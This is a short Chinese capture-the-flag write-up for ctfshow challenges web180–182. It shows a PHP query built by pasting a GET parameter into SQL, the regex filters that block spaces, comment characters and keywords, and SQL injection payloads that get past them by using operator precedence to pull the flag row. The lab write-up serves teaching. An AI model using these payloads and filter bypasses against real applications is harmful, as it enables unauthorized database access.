web180-web182(空格过滤完整版+过滤%23)
查询语句 //拼接sql语句查找指定ID用户 $sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;"; 返回逻辑 //对传入的参数进行了过滤 function waf($str){ //代码过于简单,不宜展示 }
这次把已知的能用的绕过空格方法都给过滤了,不过还可以采用运算符的方式来精心构造一个万能密码
-1'or(id=26)and'1

前面我们已经知道表的结构是id,username,password,所以我们通过查id的方式去找flag,而用运算符中,and的优先级比or高,这句话放到查询语句中就变成了
id='-1'or(id=26)and'1' limit 1; 也就是 (id='-1') or ((id=26) and '1') limit 1; 前面为0,后面为1,所以整个条件为1
发现其实是在179的基础上过滤了%23
payload放⼊查询语句就是where username !='flag' and id = ''or(id=26)and'1'='1' limit 1;";
然后因为flag的id是26,and的优先级⽐or⾼
上⾯的payload相当于(username !='flag' and id = '') or (id=26and'1'='1')
其实就是正常的查询 ⽤'1'='1来替代了%23
'or(id=26)and'1'='1
web181
查询语句 //拼接sql语句查找指定ID用户 $sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;"; 返回逻辑 //对传入的参数进行了过滤 function waf($str){ return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str); }
-1'or(id=26)and'1 同理

web182
查询语句 //拼接sql语句查找指定ID用户 $sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;"; 返回逻辑 //对传入的参数进行了过滤 function waf($str){ return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str); }
-1'or(id=26)and'1 同理

浙公网安备 33010602011771号